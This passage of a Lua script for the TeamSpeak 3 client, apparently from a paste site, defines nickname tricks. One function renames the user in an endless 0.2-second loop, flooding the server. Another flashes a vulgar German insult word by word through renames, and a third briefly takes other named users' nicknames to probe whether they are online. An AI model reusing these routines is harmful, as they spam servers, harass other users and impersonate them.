  1654.     if error ~= ts3errors.ERROR_ok then
  1655.         ts3.printMessageToCurrentTab("Error renaming to "..newnick..", ErrorID: "  .. error)
  1656.         return
  1657.     end
  1658.     -- ts3.printMessageToCurrentTab("fin")
  1659. end
  1660. function randomNick(serverConnectionHandlerID)
  1661.     local nameArray = { 'TeamspeakUser', 'TeamSpeakUser', 'Android', 'Android_Client', 'IPhone', 'IPhone_Client' }
  1662.     local RANDNAME = ( nameArray[ math.random( #nameArray ) ] )
  1663.     local newNick = RANDNAME .. math.random(1,9999)
  1664.     ts3.printMessageToCurrentTab("Renaming self to "..newNick..".")
  1665.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick)
  1666.     local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1667.     if error ~= ts3errors.ERROR_ok then
  1668.         ts3.printMessageToCurrentTab("Error renaming to "..newnick..", ErrorID: "  .. error)
  1669.         return
  1670.     end
  1671.     -- ts3.printMessageToCurrentTab("fin")
  1672. end
  1673. function randomNameLoop(serverConnectionHandlerID)
  1674.     while true do
  1675.         local newNick = math.random(100,9999999)
  1676.         ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, newNick)
  1677.         ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1678.         wsleep(0.2)
  1679.     end
  1680. end
  1681. function nameAnimate(serverConnectionHandlerID)
  1682.     local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME)
  1683.     -- ts3.printMessageToCurrentTab("SID: "..serverConnectionHandlerID)
  1684.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "ICH")
  1685.     -- wsleep(0.1)
  1686.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1687.     wsleep(0.1)
  1688.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "FICKE")
  1689.     -- wsleep(0.1)
  1690.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1691.     wsleep(0.1)
  1692.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "DEIN")
  1693.     -- wsleep(0.1)
  1694.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1695.     wsleep(0.1)
  1696.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "LEBEN")
  1697.     -- wsleep(0.1)
  1698.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1699.     wsleep(0.1)
  1700.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "DU")
  1701.     -- wsleep(0.1)
  1702.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1703.     wsleep(0.1)
  1704.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "KLEINER")
  1705.     -- wsleep(0.1)
  1706.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1707.     wsleep(0.1)
  1708.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "HUREN")
  1709.     -- wsleep(0.1)
  1710.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1711.     wsleep(0.1)
  1712.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "SOHN!")
  1713.     -- wsleep(0.1)
  1714.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1715.     wsleep(0.1)
  1716.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick)
  1717.     -- wsleep(0.1)
  1718.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1719. end
  1720. function mtGChecker(serverConnectionHandlerID)
  1721.     local mtGCheckerPrefix = "[mtGChecker]"
  1722.     local oldNick = ts3.getClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME)
  1723.     ts3.printMessageToCurrentTab("SID: "..serverConnectionHandlerID)
  1724.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "Lore")
  1725.     -- wsleep(0.1)
  1726.     local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1727.     -- if error == ts3errors.ERROR_client_nickname_inuse then
  1728.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=red]Lore ist gerade online![/color][/b]")
  1729.     -- elseif error ~= ts3errors.ERROR_ok then
  1730.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=green]Lore ist gerade offline![/color][/b]")
  1731.     -- else
  1732.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=grey]Onlinestatus von Lore unbekannt![/color][/b]")
  1733.     -- end
  1734.     wsleep(0.1)
  1735.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "Kev")
  1736.     -- wsleep(0.1)
  1737.     local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1738.     -- if error == ts3errors.ERROR_client_nickname_inuse then
  1739.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=red]Kev ist gerade online![/color][/b]")
  1740.     -- elseif error ~= ts3errors.ERROR_ok then
  1741.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=green]Kev ist gerade offline![/color][/b]")
  1742.     -- else
  1743.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=grey]Onlinestatus von Kev unbekannt![/color][/b]")
  1744.     -- end
  1745.     wsleep(0.1)
  1746.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "Sling")
  1747.     -- wsleep(0.1)
  1748.     local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1749.     -- if error == ts3errors.ERROR_client_nickname_inuse then
  1750.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=red]Sling ist gerade online![/color][/b]")
  1751.     -- elseif error ~= ts3errors.ERROR_ok then
  1752.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=green]Kev ist gerade offline![/color][/b]")
  1753.     -- else
  1754.         -- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=grey]Onlinestatus von Kev unbekannt![/color][/b]")
  1755.     -- end
  1756.     wsleep(0.1)
  1757.     ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick)
  1758.     -- wsleep(0.1)
  1759.     ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1760. end
  1761. -- function clockName(serverConnectionHandlerID)
  1762.     -- local systemTime = (os.date("%c"))
  1763.     -- local systemTime = (os.date("%H:%M"))
  1764.     -- local systemTime = (os.date("%d.%m.%Y | %H:%M"))
  1765.     -- ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, systemTime)
  1766.     -- ts3.flushClientSelfUpdates(serverConnectionHandlerID)
  1767. -- end
  1768. function myIP(ServerConnectionHandlerID)
  1769.     ts3.printMessageToCurrentTab("[img]http://www.anonym-surfen.com/ip-adresse.png?full=2&amp;color=33333&amp;width=350[/img]")
  1770. end
  1771.     -- -----------------------------=LOGGING=-------------------------------------
  1772. if EMC_DEBUG == true then
  1773. -- local logMSG = ("loading..." --, SCRIPT , VERSION)
  1774.  ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPTSHORT .."[/color] functions loaded.")
  1775. -- Log(LogMSG)
  1776. end
  1777. -- ____________________________-=LOGGING=-____________________________________
  1778. -- End of functions
  1779. -----------------------------------------------------------------------------------------------------------
  1780. -- Print Message that Script has been loaded.
  1781. -----------------------------------------------------------------------------------------------------------
  1782. -- -----------------------------=LOGGING=-------------------------------------
  1783. if EMC_DEBUG == true then
  1784. -- local logMSG = " ".. SCRIPT .." ".. VERSION .. " loaded. Use [color=red]/lua run mhcmds[/color] to see a list of commands!"
  1785.  ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT .."[/color] [color=white][[/color][color=orange]".. VERSION .."[/color][color=white]][/color] successfully started.")
  1786.  ts3.printMessageToCurrentTab("[b][u][i]".. HLPTXT .."[/i][/u][/b]")
  1787.  ts3.printMessageToCurrentTab("[color=".. RANDCOL .."]_-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-_[/color]")
  1788. -- Log(LogMSG)
  1789. -- CSCHID = ts3.getCurrentServerConnectionHandlerID()
  1790. -- LoadMsg (CSCHID, SCRIPT, VERSION, "")
  1791. end
  1792. -- ____________________________-=LOGGING=-____________________________________
Add Comment
Please, Sign In to add comment